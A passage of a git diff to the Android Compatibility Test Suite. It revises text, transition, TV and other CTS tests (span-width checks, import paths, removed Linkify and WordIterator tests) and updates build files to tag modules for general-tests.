-        Date date = new Date(109, 0, 19, 3, 30, 15);
-        long fixedTime = date.getTime();
-
-        int currentYear = Calendar.getInstance().get(Calendar.YEAR);
-        Date dateWithCurrentYear = new Date(currentYear - 1900, 0, 19, 3, 30, 15);
-
-        final long DAY_DURATION = 5 * 24 * 60 * 60 * 1000;
-        assertEquals("Saturday, January 24, 2009", DateUtils.formatSameDayTime(
-                fixedTime + DAY_DURATION, fixedTime, java.text.DateFormat.FULL,
-                java.text.DateFormat.FULL));
-        assertEquals("Jan 24, 2009", DateUtils.formatSameDayTime(fixedTime + DAY_DURATION,
-                fixedTime, java.text.DateFormat.DEFAULT, java.text.DateFormat.FULL));
-        assertEquals("January 24, 2009", DateUtils.formatSameDayTime(fixedTime + DAY_DURATION,
-                fixedTime, java.text.DateFormat.LONG, java.text.DateFormat.FULL));
-        assertEquals("Jan 24, 2009", DateUtils.formatSameDayTime(fixedTime + DAY_DURATION,
-                fixedTime, java.text.DateFormat.MEDIUM, java.text.DateFormat.FULL));
-        assertEquals("1/24/09", DateUtils.formatSameDayTime(fixedTime + DAY_DURATION,
-                fixedTime, java.text.DateFormat.SHORT, java.text.DateFormat.FULL));
-
-        final long HOUR_DURATION = 2 * 60 * 60 * 1000;
-        assertEquals("5:30:15 AM GMT+00:00", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
-                fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.FULL));
-        assertEquals("5:30:15 AM", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
-                fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.DEFAULT));
-        assertEquals("5:30:15 AM GMT+00:00", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
-                fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.LONG));
-        assertEquals("5:30:15 AM", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
-                fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.MEDIUM));
-        assertEquals("5:30 AM", DateUtils.formatSameDayTime(fixedTime + HOUR_DURATION,
-                fixedTime, java.text.DateFormat.FULL, java.text.DateFormat.SHORT));
-    }
-
     // This is just to exercise the wrapper that calls the libcore/icu4c implementation.
     // Full testing, in multiple locales, is in libcore's CTS tests.
     @Test
diff --git a/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
index aeff39d..098d12e 100644
--- a/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
+++ b/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
@@ -24,10 +24,10 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-import android.annotation.NonNull;
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.os.SystemClock;
+import android.support.annotation.NonNull;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.MediumTest;
 import android.support.test.rule.ActivityTestRule;
diff --git a/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
index 2f80106..f1dd4d9 100644
--- a/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/MetaKeyKeyListenerTest.java
@@ -237,7 +237,7 @@
                 event));
 
         event = new KeyEvent(0, 0, KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0, 0,
-                KeyEvent.META_SYM_LOCKED);
+                MetaKeyKeyListener.META_SYM_LOCKED);
 
         assertEquals(2, MetaKeyKeyListener.getMetaState("", MetaKeyKeyListener.META_SYM_ON,
                 event));
diff --git a/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java b/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java
deleted file mode 100644
index ab524a7..0000000
--- a/tests/tests/text/src/android/text/method/cts/WordIteratorTest.java
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.text.method.cts;
-
-import static org.junit.Assert.assertEquals;
-
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.text.method.WordIterator;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.text.BreakIterator;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class WordIteratorTest {
-    private WordIterator mWordIterator = new WordIterator();
-
-    private void verifyIsWordWithSurrogate(int beginning, int end, int surrogateIndex) {
-        for (int i = beginning; i <= end; i++) {
-            if (i == surrogateIndex) continue;
-            assertEquals(beginning, mWordIterator.getBeginning(i));
-            assertEquals(end, mWordIterator.getEnd(i));
-        }
-    }
-
-    private void setCharSequence(String string) {
-        mWordIterator.setCharSequence(string, 0, string.length());
-    }
-
-    private void verifyIsWord(int beginning, int end) {
-        verifyIsWordWithSurrogate(beginning, end, -1);
-    }
-
-    private void verifyIsNotWord(int beginning, int end) {
-        for (int i = beginning; i <= end; i++) {
-            assertEquals(BreakIterator.DONE, mWordIterator.getBeginning(i));
-            assertEquals(BreakIterator.DONE, mWordIterator.getEnd(i));
-        }
-    }
-
-    @Test
-    public void testEmptyString() {
-        setCharSequence("");
-        assertEquals(BreakIterator.DONE, mWordIterator.following(0));
-        assertEquals(BreakIterator.DONE, mWordIterator.preceding(0));
-
-        assertEquals(BreakIterator.DONE, mWordIterator.getBeginning(0));
-        assertEquals(BreakIterator.DONE, mWordIterator.getEnd(0));
-    }
-
-    @Test
-    public void testOneWord() {
-        setCharSequence("I");
-        verifyIsWord(0, 1);
-
-        setCharSequence("am");
-        verifyIsWord(0, 2);
-
-        setCharSequence("zen");
-        verifyIsWord(0, 3);
-    }
-
-    @Test
-    public void testSpacesOnly() {
-        setCharSequence(" ");
-        verifyIsNotWord(0, 1);
-
-        setCharSequence(", ");
-        verifyIsNotWord(0, 2);
-
-        setCharSequence(":-)");
-        verifyIsNotWord(0, 3);
-    }
-
-    @Test
-    public void testBeginningEnd() {
-        setCharSequence("Well hello,   there! ");
-        //                  0123456789012345678901
-        verifyIsWord(0, 4);
-        verifyIsWord(5, 10);
-        verifyIsNotWord(11, 13);
-        verifyIsWord(14, 19);
-        verifyIsNotWord(20, 21);
-
-        setCharSequence("  Another - sentence");
-        //                  012345678901234567890
-        verifyIsNotWord(0, 1);
-        verifyIsWord(2, 9);
-        verifyIsNotWord(10, 11);
-        verifyIsWord(12, 20);
-
-        setCharSequence("This is \u0644\u0627 tested"); // Lama-aleph
-        //                  012345678     9     01234567
-        verifyIsWord(0, 4);
-        verifyIsWord(5, 7);
-        verifyIsWord(8, 10);
-        verifyIsWord(11, 17);
-    }
-
-    @Test
-    public void testSurrogate() {
-        final String BAIRKAN = "\uD800\uDF31";
-
-        setCharSequence("one we" + BAIRKAN + "ird word");
-        //                  012345    67         890123456
-
-        verifyIsWord(0, 3);
-        // Skip index 7 (there is no point in starting between the two surrogate characters)
-        verifyIsWordWithSurrogate(4, 11, 7);
-        verifyIsWord(12, 16);
-
-        setCharSequence("one " + BAIRKAN + "xxx word");
-        //                  0123    45         678901234
-
-        verifyIsWord(0, 3);
-        verifyIsWordWithSurrogate(4, 9, 5);
-        verifyIsWord(10, 14);
-
-        setCharSequence("one xxx" + BAIRKAN + " word");
-        //                  0123456    78         901234
-
-        verifyIsWord(0, 3);
-        verifyIsWordWithSurrogate(4, 9, 8);
-        verifyIsWord(10, 14);
-    }
-}
diff --git a/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java b/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
index bc07e0a..659be93 100644
--- a/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/LocaleSpanTest.java
@@ -18,9 +18,9 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.annotation.NonNull;
 import android.os.LocaleList;
 import android.os.Parcel;
+import android.support.annotation.NonNull;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
 import android.text.TextPaint;
diff --git a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
index 686f9c3..ff62273 100644
--- a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
@@ -21,15 +21,19 @@
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
-import android.annotation.NonNull;
-import android.annotation.Nullable;
 import android.content.Context;
 import android.content.res.Configuration;
 import android.os.LocaleList;
 import android.os.Parcel;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.StaticLayout;
+import android.text.TextPaint;
 import android.text.style.SuggestionSpan;
 
 import org.junit.Test;
@@ -205,6 +209,31 @@
         verifyGetLocaleObject(new Locale(" an  ", " i n v a l i d ", "data"));
     }
 
+    // Measures the width of some potentially-spanned text, assuming it's not too wide.
+    private float textWidth(CharSequence text) {
+        final TextPaint tp = new TextPaint();
+        tp.setTextSize(100.0f); // Large enough so that the difference in kerning is visible.
+        final int largeWidth = 10000; // Enough width so the whole text fits in one line.
+        final StaticLayout layout = StaticLayout.Builder.obtain(
+                text, 0, text.length(), tp, largeWidth).build();
+        return layout.getLineWidth(0);
+    }
+
+    @Test
+    public void testDoesntAffectWidth() {
+        // Roboto kerns between "P" and "."
+        final SpannableString text = new SpannableString("P.");
+        final float origLineWidth = textWidth(text);
+
+        final String[] suggestions = new String[]{"suggestion1", "suggestion2"};
+        final SuggestionSpan span = new SuggestionSpan(Locale.US, suggestions,
+                SuggestionSpan.FLAG_AUTO_CORRECTION);
+        // Put just the "P" in a suggestion span.
+        text.setSpan(span, 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+        final float underlinedLineWidth = textWidth(text);
+        assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+    }
+
     @NonNull
     SuggestionSpan cloneViaParcel(@NonNull final SuggestionSpan original) {
         Parcel parcel = null;
diff --git a/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java b/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
index 0661833..581417f 100644
--- a/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/UnderlineSpanTest.java
@@ -16,12 +16,16 @@
 
 package android.text.style.cts;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 
 import android.os.Parcel;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
+import android.text.SpannableString;
+import android.text.Spanned;
+import android.text.StaticLayout;
 import android.text.TextPaint;
 import android.text.style.UnderlineSpan;
 
@@ -85,4 +89,113 @@
             p.recycle();
         }
     }
+
+    // Measures the width of some potentially-spanned text, assuming it's not too wide.
+    private float textWidth(CharSequence text) {
+        final TextPaint tp = new TextPaint();
+        tp.setTextSize(100.0f); // Large enough so that the difference in kerning is visible.
+        final int largeWidth = 10000; // Enough width so the whole text fits in one line.
+        final StaticLayout layout = StaticLayout.Builder.obtain(
+                text, 0, text.length(), tp, largeWidth).build();
+        return layout.getLineWidth(0);
+    }
+
+    @Test
+    public void testDoesntAffectWidth() {
+        {
+            // Roboto kerns between "P" and "."
+            final SpannableString text = new SpannableString("P.");
+            final float origLineWidth = textWidth(text);
+            // Underline just the "P".
+            text.setSpan(new UnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+            final float underlinedLineWidth = textWidth(text);
+            assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+        }
+        {
+            final SpannableString text = new SpannableString("P.");
+            final float origLineWidth = textWidth(text);
+            // Underline just the period.
+            text.setSpan(new UnderlineSpan(), 1, 2, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+            final float underlinedLineWidth = textWidth(text);
+            assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+        }
+        {
+            final SpannableString text = new SpannableString("P. P.");
+            final float origLineWidth = textWidth(text);
+            // Underline just the second "P".
+            text.setSpan(new UnderlineSpan(), 3, 4, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+            final float underlinedLineWidth = textWidth(text);
+            assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+        }
+        {
+            final SpannableString text = new SpannableString("P. P.");
+            final float origLineWidth = textWidth(text);
+            // Underline both "P"s.
+            text.setSpan(new UnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+            text.setSpan(new UnderlineSpan(), 3, 4, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+            final float underlinedLineWidth = textWidth(text);
+            assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+        }
+    }
+
+    private class SafeUnderlineSpan extends UnderlineSpan {
+    }
+
+    // Identical to the normal UnderlineSpan test, except that a subclass of UnderlineSpan is used.
+    // The subclass is identical to UnderlineSpan in visual behavior, so it shouldn't affect width
+    // either.
+    @Test
+    public void testDoesntAffectWidth_safeSubclass() {
+        // Roboto kerns between "P" and "."
+        final SpannableString text = new SpannableString("P.");
+        final float origLineWidth = textWidth(text);
+        // Underline just the "P".
+        text.setSpan(new SafeUnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+        final float underlinedLineWidth = textWidth(text);
+        assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+    }
+
+    private class NoUnderlineSpan extends UnderlineSpan {
+        @Override
+        public void updateDrawState(TextPaint ds) {
+            // do not draw an underline
+        }
+    }
+
+    // Identical to the normal UnderlineSpan test, except that a subclass of UnderlineSpan is used
+    // that doesn't draw an underline. This shouldn't affect width either.
+    @Test
+    public void testDoesntAffectWidth_noUnderlineSubclass() {
+        // Roboto kerns between "P" and "."
+        final SpannableString text = new SpannableString("P.");
+        final float origLineWidth = textWidth(text);
+        // Underline just the "P".
+        text.setSpan(new NoUnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+        final float underlinedLineWidth = textWidth(text);
+        assertEquals(origLineWidth, underlinedLineWidth, 0.0f);
+    }
+
+    private class ElegantUnderlineSpan extends UnderlineSpan {
+        @Override
+        public void updateDrawState(TextPaint ds) {
+            super.updateDrawState(ds);
+            ds.setElegantTextHeight(true);
+        }
+    }
+
+    // Identical to the normal UnderlineSpan test, except that a subclass of UnderlineSpan is used
+    // that draws an underline and sets the font to elegant style. Since we may actually be
+    // changing fonts at the span boundary, this should increase width. Note that this subclass is
+    // not declared entirely correctly, and since it may affect metrics it should also extend
+    // MetricAffectingSpan, but we need to keep it behaving correctly for backward compatibility.
+    @Test
+    public void testAffectsWidth_ElegantSubclass() {
+        // Roboto kerns between "P" and "."
+        final SpannableString text = new SpannableString("P.");
+        final float origLineWidth = textWidth(text);
+        // Underline just the "P".
+        text.setSpan(new ElegantUnderlineSpan(), 0, 1, Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+        final float underlinedLineWidth = textWidth(text);
+        assertTrue(underlinedLineWidth > origLineWidth + 1.0f);
+    }
 }
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index d20792e..59c6ef4 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -31,7 +31,6 @@
 import android.text.util.Linkify;
 import android.text.util.Linkify.MatchFilter;
 import android.text.util.Linkify.TransformFilter;
-import android.util.Patterns;
 import android.widget.TextView;
 
 import org.junit.Before;
@@ -373,51 +372,6 @@
         assertFalse(Linkify.addLinks((Spannable) null, 0));
     }
 
-    @Test
-    public void testAddLinks_addsLinksWhenDefaultSchemeIsNull() {
-        Spannable spannable = new SpannableString("any https://android.com any android.com any");
-        Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, null, null, null);
-
-        URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
-        assertEquals("android.com and https://android.com should be linkified", 2, spans.length);
-        assertEquals("https://android.com", spans[0].getURL());
-        assertEquals("android.com", spans[1].getURL());
-    }
-
-    @Test
-    public void testAddLinks_addsLinksWhenSchemesArrayIsNull() {
-        Spannable spannable = new SpannableString("any https://android.com any android.com any");
-        Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, "http://", null, null);
-
-        URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
-        assertEquals("android.com and https://android.com should be linkified", 2, spans.length);
-        // expected behavior, passing null schemes array means: prepend defaultScheme to all links.
-        assertEquals("http://https://android.com", spans[0].getURL());
-        assertEquals("http://android.com", spans[1].getURL());
-    }
-
-    @Test
-    public void testAddLinks_prependsDefaultSchemeToBeginingOfLink() {
-        Spannable spannable = new SpannableString("any android.com any");
-        Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, "http://",
-                new String[] { "http://", "https://"}, null, null);
-
-        URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
-        assertEquals("android.com should be linkified", 1, spans.length);
-        assertEquals("http://android.com", spans[0].getURL());
-    }
-
-    @Test
-    public void testAddLinks_doesNotPrependSchemeIfSchemeExists() {
-        Spannable spannable = new SpannableString("any https://android.com any");
-        Linkify.addLinks(spannable, Patterns.AUTOLINK_WEB_URL, "http://",
-                new String[] { "http://", "https://"}, null, null);
-
-        URLSpan[] spans = spannable.getSpans(0, spannable.length(), URLSpan.class);
-        assertEquals("android.com should be linkified", 1, spans.length);
-        assertEquals("https://android.com", spans[0].getURL());
-    }
-
     // Add links with scheme (array)
 
     @UiThreadTest
diff --git a/tests/tests/theme/Android.mk b/tests/tests/theme/Android.mk
index 0f370d0..365f198 100644
--- a/tests/tests/theme/Android.mk
+++ b/tests/tests/theme/Android.mk
@@ -24,12 +24,12 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/tests/toast/Android.mk b/tests/tests/toast/Android.mk
index d9f15eb..cb8fe99 100644
--- a/tests/tests/toast/Android.mk
+++ b/tests/tests/toast/Android.mk
@@ -21,7 +21,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 
diff --git a/tests/tests/toastlegacy/Android.mk b/tests/tests/toastlegacy/Android.mk
index ac5825d..96916a3 100644
--- a/tests/tests/toastlegacy/Android.mk
+++ b/tests/tests/toastlegacy/Android.mk
@@ -21,7 +21,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 
diff --git a/tests/tests/toastlegacy/AndroidTest.xml b/tests/tests/toastlegacy/AndroidTest.xml
index d483946..513ddc5 100644
--- a/tests/tests/toastlegacy/AndroidTest.xml
+++ b/tests/tests/toastlegacy/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for Toast legacy test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/transition/Android.mk b/tests/tests/transition/Android.mk
index 7a072ee..875f58c 100644
--- a/tests/tests/transition/Android.mk
+++ b/tests/tests/transition/Android.mk
@@ -27,17 +27,17 @@
 LOCAL_STATIC_JAVA_LIBRARIES += \
     android-support-test \
     mockito-target-minus-junit4 \
-    hamcrest-library \
     android-common \
     compatibility-device-util \
     ctstestrunner \
-    platform-test-annotations
+    platform-test-annotations \
+    legacy-android-test
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/transition/AndroidManifest.xml b/tests/tests/transition/AndroidManifest.xml
index 671958f..1fb4f0e 100644
--- a/tests/tests/transition/AndroidManifest.xml
+++ b/tests/tests/transition/AndroidManifest.xml
@@ -18,7 +18,7 @@
     package="android.transition.cts">
     <uses-permission android:name="android.permission.INJECT_EVENTS" />
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <application android:theme="@style/Theme_NoSwipeDismiss">
+    <application>
         <activity android:name="android.transition.cts.TransitionActivity"
             android:label="TransitionActivity"/>
         <activity android:name="android.transition.cts.TargetActivity"
diff --git a/tests/tests/transition/res/layout/scene13.xml b/tests/tests/transition/res/layout/scene13.xml
index e6a4caf..b7c783f 100644
--- a/tests/tests/transition/res/layout/scene13.xml
+++ b/tests/tests/transition/res/layout/scene13.xml
@@ -25,21 +25,15 @@
         android:layout_width="10dp"
         android:layout_height="10dp"
         android:background="#F00"
-        android:layout_centerInParent="true"
+        android:layout_alignParentRight="true"
+        android:layout_alignParentTop="true"
         android:transitionName="redSquare"
         android:id="@+id/redSquare"/>
     <View
         android:layout_width="10dp"
         android:layout_height="10dp"
-        android:background="#000"
-        android:layout_alignParentRight="true"
-        android:layout_alignParentTop="true"
-        android:id="@+id/blackSquare"/>
-    <View
-        android:layout_width="10dp"
-        android:layout_height="10dp"
         android:background="#0F0"
-        android:layout_toRightOf="@id/blackSquare"
+        android:layout_toRightOf="@id/redSquare"
         android:id="@+id/greenSquare"/>
     <View
         android:layout_width="10dp"
diff --git a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
index 889dc59..895a10a 100644
--- a/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/ActivityTransitionTest.java
@@ -298,7 +298,6 @@
 
     @Test
     public void testAnimationQuery() throws Throwable {
-        enterScene(R.layout.scene1);
         assertFalse(mActivity.isActivityTransitionRunning());
         mActivityRule.runOnUiThread(() -> {
             mActivity.getWindow().setExitTransition(new Fade());
diff --git a/tests/tests/transition/src/android/transition/cts/TransitionTest.java b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
index 9ba201a..cc13eda 100644
--- a/tests/tests/transition/src/android/transition/cts/TransitionTest.java
+++ b/tests/tests/transition/src/android/transition/cts/TransitionTest.java
@@ -17,17 +17,12 @@
 
 import static com.android.compatibility.common.util.CtsMockitoUtils.within;
 
-import static org.hamcrest.CoreMatchers.allOf;
-import static org.hamcrest.Matchers.greaterThanOrEqualTo;
-import static org.hamcrest.Matchers.lessThan;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertSame;
-import static org.junit.Assert.assertThat;
 import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
 import static org.mockito.Matchers.any;
 import static org.mockito.Matchers.eq;
 import static org.mockito.Mockito.mock;
@@ -49,7 +44,6 @@
 import android.transition.Transition;
 import android.transition.Transition.EpicenterCallback;
 import android.transition.Transition.TransitionListener;
-import android.transition.TransitionListenerAdapter;
 import android.transition.TransitionManager;
 import android.transition.TransitionPropagation;
 import android.transition.TransitionValues;
@@ -414,12 +408,12 @@
         enterScene(R.layout.scene1);
         mTransition.setDuration(500);
         assertEquals(500, mTransition.getDuration());
-        DurationListener durationListener = new DurationListener();
-        mTransition.addListener(durationListener);
         startTransition(R.layout.scene3);
+        long startTime = SystemClock.uptimeMillis();
         waitForEnd(800);
-        assertThat(durationListener.getDuration(),
-                allOf(greaterThanOrEqualTo(500L), lessThan(900L)));
+        long endTime = SystemClock.uptimeMillis();
+        long duration = endTime - startTime;
+        assertTrue(duration >= 500 && duration < 900);
     }
 
     @Test
@@ -728,27 +722,5 @@
             return null;
         }
     }
-
-    private static class DurationListener extends TransitionListenerAdapter {
-
-        private long mUptimeMillisStart = -1;
-        private long mDuration = -1;
-
-        @Override
-        public void onTransitionStart(Transition transition) {
-            mUptimeMillisStart = SystemClock.uptimeMillis();
-        }
-
-        @Override
-        public void onTransitionEnd(Transition transition) {
-            mDuration = SystemClock.uptimeMillis() - mUptimeMillisStart;
-        }
-
-        public long getDuration() {
-            if (mDuration < 0) {
-                fail("Requested duration measurement of an incomplete transition.");
-            }
-            return mDuration;
-        }
-    }
 }
+
diff --git a/tests/tests/tv/Android.mk b/tests/tests/tv/Android.mk
index 640e16e..66b35a1 100644
--- a/tests/tests/tv/Android.mk
+++ b/tests/tests/tv/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/tv/AndroidTest.xml b/tests/tests/tv/AndroidTest.xml
index 8068c72..99cafd9 100644
--- a/tests/tests/tv/AndroidTest.xml
+++ b/tests/tests/tv/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS TV test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="tv" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 140e262..0a7f86d 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -991,9 +991,12 @@
         verifyOverlap(programStartMillis - hour, programStartMillis - hour / 2, 0,
                 channelId, channelUri);
 
-        // Non-overlap 2: starts too late
+        // Non-overlap 2: starts too late.
         verifyOverlap(programEndMillis + hour, programEndMillis + hour * 2, 0,
                 channelId, channelUri);
+
+        // Non-overlap 3: invalid start and end times.
+        verifyOverlap(programEndMillis, programStartMillis, 0, channelId, channelUri);
     }
 
     private void verifyRecordedProgram(Uri recordedProgramUri, ContentValues expectedValues,
diff --git a/tests/tests/uiautomation/Android.mk b/tests/tests/uiautomation/Android.mk
index c595635..d708c67 100644
--- a/tests/tests/uiautomation/Android.mk
+++ b/tests/tests/uiautomation/Android.mk
@@ -21,9 +21,9 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ub-uiautomator legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/uidisolation/Android.mk b/tests/tests/uidisolation/Android.mk
index 08b9646..a69de23 100644
--- a/tests/tests/uidisolation/Android.mk
+++ b/tests/tests/uidisolation/Android.mk
@@ -22,9 +22,9 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner ctstestserver legacy-android-test
 
 LOCAL_JAVA_LIBRARIES := org.apache.http.legacy
 
diff --git a/tests/tests/uirendering/Android.mk b/tests/tests/uirendering/Android.mk
index 52d8580..06bd748 100644
--- a/tests/tests/uirendering/Android.mk
+++ b/tests/tests/uirendering/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
diff --git a/tests/tests/uirendering/AndroidTest.xml b/tests/tests/uirendering/AndroidTest.xml
index 4a4f194..b8855b1 100644
--- a/tests/tests/uirendering/AndroidTest.xml
+++ b/tests/tests/uirendering/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
